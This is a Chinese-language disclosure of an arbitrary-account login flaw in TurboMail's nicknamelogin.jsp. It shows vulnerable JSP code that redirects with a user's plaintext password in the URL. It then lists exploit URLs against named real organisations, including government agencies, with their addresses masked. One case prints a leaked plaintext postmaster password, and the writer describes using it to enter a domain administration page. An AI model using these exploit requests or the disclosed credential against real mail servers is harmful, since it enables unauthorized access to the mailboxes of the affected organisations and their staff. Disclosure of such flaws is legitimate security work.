TurboMail邮件系统任意账号登录漏洞（附众多案例）

漏洞代码如下：
 <%    
     //传入的是昵称
     String name = request.getParameter("name");
  name = Util.formatRequest(name,MailMain.s_os,"GBK"); 
      
  //http://localhost:8080/mailmain?type=login&uid=test&pwd=test&domain=**.**.**.**
  String uid = null;
  String domain = null;
  String pwd = null;
  
  UserAccountList ual = new UserAccountList();
  try {
   ual.init(null, 0, null, 0,
     MailMain.s_config.UsersPerPage, 1, null,
     "first_name", name, null,true);
 
   int iSize = ual.alUserAccount.size();
   if (iSize > 0) {
    UserAccount ua = (UserAccount) ual.alUserAccount
      .get(0);
    
    if(ua != null){
     uid = ua.username;
     domain = ua.m_domain;
     pwd = ua.getOrgPassword();
    }
   }
  } catch (Exception e) {
 
  }
 
  if(uid != null){
   response.sendRedirect("mailmain?type=login&uid=" + uid + "&pwd="+ pwd + "&domain=" + domain + "&style=enterprise");
  }else{
   %>找不到该用户<% 
  }
 %>

代码实现上仅仅通过参数name来查询邮箱用户信息，如果存在就将该用户的标示uid = ua.username;用户的域domain = ua.m_domain;用户的明文密码pwd = ua.getOrgPassword();直接取出，然后使用这些信息进行重定向到登录界面mailmain?type=login&uid=&pwd=&domain=

整个过程确实密码的验证，只是简单的判断了下是否存在给定的邮箱账号，导致任意邮箱账号登录，同时在这个过程中还直接泄露了该邮箱账号对于的域名domain和明文密码等敏感信息。

通过直接访问/nicknamelogin.jsp页面，即不给name赋值，默认会返回邮箱账号的第一个账号

测试案例：
 http://**.**.**.**:100/nicknamelogin.jsp 国家粮食局
 
**.**.**.**/nicknamelogin.jsp?name=postmaster    贵州省煤矿设计研究院
**.**.**.**/nicknamelogin.jsp        河南省人民政府国有资产监督管理委员会
**.**.**.**/nicknamelogin.jsp?name=postmaster 东方银行业高级管理人员研修院
http://**.**.**.**/nicknamelogin.jsp?name=postmaster
虽然登录失败，但是返回的url链接直接泄露明文密码：http://**.**.**.**/mailmain?type=login&uid=postmaster&pwd=S!r+v1538dcc&domain=root&style=enterprise
 使用获取到的postmaster账号密码S!r+v1538dcc到域管理页面登陆: http://**.**.**.**/maintlogin.jsp
**.**.**.**/nicknamelogin.jsp
**.**.**.**/nicknamelogin.jsp        
http://**.**.**.**:8080/nicknamelogin.jsp
http://**.**.**.**/nicknamelogin.jsp
http://**.**.**.**/nicknamelogin.jsp
http://**.**.**.**/nicknamelogin.jsp
http://**.**.**.**/nicknamelogin.jsp
http://**.**.**.**/nicknamelogin.jsp
http://**.**.**.**/nicknamelogin.jsp

 http://**.**.**.**/nicknamelogin.jsp
 http://**.**.**.**/nicknamelogin.jsp?name=postmaster